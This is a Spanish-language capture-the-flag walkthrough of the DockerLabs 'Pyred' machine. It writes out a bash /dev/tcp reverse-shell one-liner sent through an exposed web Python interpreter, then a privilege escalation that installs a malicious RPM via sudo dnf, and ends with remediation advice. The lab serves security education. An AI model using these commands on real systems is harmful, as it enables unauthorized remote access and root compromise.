Ir al contenido

Pyred

Este documento presenta la resolución completa de la máquina Pyred, desarrollada por El Pingüino de Mario para la plataforma DockerLabs, clasificada con una dificultad Media.

El laboratorio expone una aplicación web accesible a través del puerto 5000, la cual implementa un intérprete de Python accesible desde el navegador sin ningún tipo de control, validación o sanitización de entrada. Esta mala configuración permite la ejecución arbitraria de código, lo que conduce directamente a la obtención de una reverse shell.

Tras el acceso inicial, se identifica una configuración insegura de privilegios sudo, que permite ejecutar el gestor de paquetes dnf como root, facilitando una escalada de privilegios directa hasta obtener control total del sistema.

Todo el proceso se realizó dentro de un entorno controlado con fines estrictamente educativos.


AtributoValor
NombrePyred
AutorEl Pingüino de Mario
DificultadMedio
Fecha26/06/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip Pyred.zip
sudo bash auto_deploy.sh Pyred.tar

Una vez iniciado el contenedor, se asigna la dirección IP correspondiente.

IP asignada

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:

Ventana de terminal
mkdir -p Pyred/{content,exploits,nmap,scripts}
cd Pyred

Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

El resultado muestra un único servicio accesible externamente:

  • 5000/tcp — HTTP (Aplicación web)

Puertos abiertos


Se realiza fuzzing de rutas y archivos sobre el servicio web:

Ventana de terminal
feroxbuster -u http://172.17.0.2 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

No se identifican rutas adicionales relevantes. El recurso index expone directamente un intérprete de Python en línea, accesible sin autenticación:

content of index


Se verifica inicialmente el correcto funcionamiento del intérprete ejecutando una instrucción básica:

print("test")

El resultado confirma que el código es ejecutado directamente en el servidor. Se observa que no existe ningún tipo de sanitización o restricción, lo que permite ejecutar comandos del sistema.

Se prepara un listener en la máquina atacante:

Ventana de terminal
nc -nlvp 443

A continuación, se ejecuta una reverse shell desde el intérprete web:

import os;
os.system("bash -c 'exec bash -i &>/dev/tcp/172.17.0.1/443 <&1'")

La conexión entrante se establece correctamente, obteniendo una shell remota:

reverseshell


Se enumeran los privilegios sudo disponibles:

sudo -l

El resultado indica que el usuario puede ejecutar el binario dnf como root sin necesidad de contraseña.

Para abusar de esta configuración, se crea un paquete RPM malicioso en la máquina atacante:

Ventana de terminal
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF

Esto genera el archivo:

x-1.0-1.noarch.rpm

El archivo es transferido a la máquina víctima y posteriormente instalado con privilegios elevados:

Ventana de terminal
sudo dnf install -y x-1.0-1.noarch.rpm

Finalmente, se invoca una shell privilegiada:

Ventana de terminal
bash -p

Obteniendo acceso como root:

root access


VulnerabilidadSeveridadImpacto
Intérprete de Python expuesto sin restriccionesCríticaEjecución remota de comandos
Ausencia total de validación de entrada en la aplicación webCríticaCompromiso completo del sistema
Servicio accesible sin autenticaciónAltaAcceso no autorizado
Configuración insegura de sudo sobre dnfCríticaEscalada directa de privilegios
Instalación de paquetes sin validación de integridadAltaEjecución de código como root

  • Eliminar intérpretes de lenguajes expuestos en entornos de producción.
  • Implementar controles estrictos de validación y sanitización de entradas.
  • Restringir el acceso a aplicaciones administrativas mediante autenticación.
  • Limitar el uso de sudo únicamente a comandos estrictamente necesarios.
  • Auditar regularmente los binarios permitidos por sudo y su posible abuso.